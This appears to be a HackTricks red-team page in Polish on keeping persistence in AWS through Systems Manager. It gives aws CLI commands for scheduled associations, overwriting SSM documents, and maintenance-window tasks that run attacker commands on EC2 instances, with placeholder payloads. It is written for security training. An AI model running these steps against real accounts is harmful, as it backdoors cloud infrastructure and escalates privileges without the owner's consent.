AWS - SSM Perssitence

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

SSM

Więcej informacji sprawdź:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Using ssm:CreateAssociation for persistence

Atakujący z uprawnieniem ssm:CreateAssociation może utworzyć State Manager Association, aby automatycznie wykonywać polecenia na instancjach EC2 zarządzanych przez SSM. Te associations mogą być skonfigurowane tak, aby działały w stałym interwale, co czyni je odpowiednimi do persistence w stylu backdoor bez interaktywnych sesji.

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

Ta metoda persistence działa tak długo, jak instancja EC2 jest zarządzana przez Systems Manager, agent SSM jest uruchomiony, a atakujący ma uprawnienie do tworzenia associations. Nie wymaga interaktywnych sesji ani jawnych uprawnień ssm:SendCommand. Important: parametr --schedule-expression (np. rate(30 minutes)) musi respektować minimalny interwał AWS wynoszący 30 minut. Do natychmiastowego lub jednorazowego wykonania pomiń --schedule-expression całkowicie — association wykona się raz po utworzeniu.

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

Atakujący z uprawnieniami ssm:UpdateDocument i ssm:UpdateDocumentDefaultVersion może eskalować privileges, modyfikując istniejące documents. Umożliwia to również persistence w obrębie tego document. W praktyce atakujący będzie też potrzebował ssm:ListDocuments, aby pobrać nazwy custom documents, a jeśli atakujący chce obfuskować swój payload wewnątrz istniejącego document, ssm:GetDocument będzie również konieczne.

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

Poniżej znajduje się przykładowy dokument, który można użyć do nadpisania istniejącego dokumentu. Będziesz chciał upewnić się, że typ dokumentu pasuje do typu docelowych dokumentów, aby uniknąć problemów z invokation. Poniższy dokument na przykład będzie ssm:SendCommand i ssm:CreateAssociation examples.

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

Atakujący z uprawnieniami ssm:RegisterTaskWithMaintenanceWindow oraz ssm:RegisterTargetWithMaintenanceWindow może eskalować uprawnienia, najpierw rejestrując nowy target w istniejącym maintenance window, a następnie aktualizując, rejestrując nowe zadanie. Daje to możliwość wykonania na istniejących targetach, ale może też pozwolić atakującemu skompromitować compute z różnymi rolami przez rejestrowanie nowych targetów. To umożliwia również persistence, ponieważ tasks maintenance windows są wykonywane w z góry określonym interwale podczas tworzenia window. W praktyce atakujący potrzebowałby także ssm:DescribeMaintenanceWindows, aby uzyskać ID maintenance window.

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks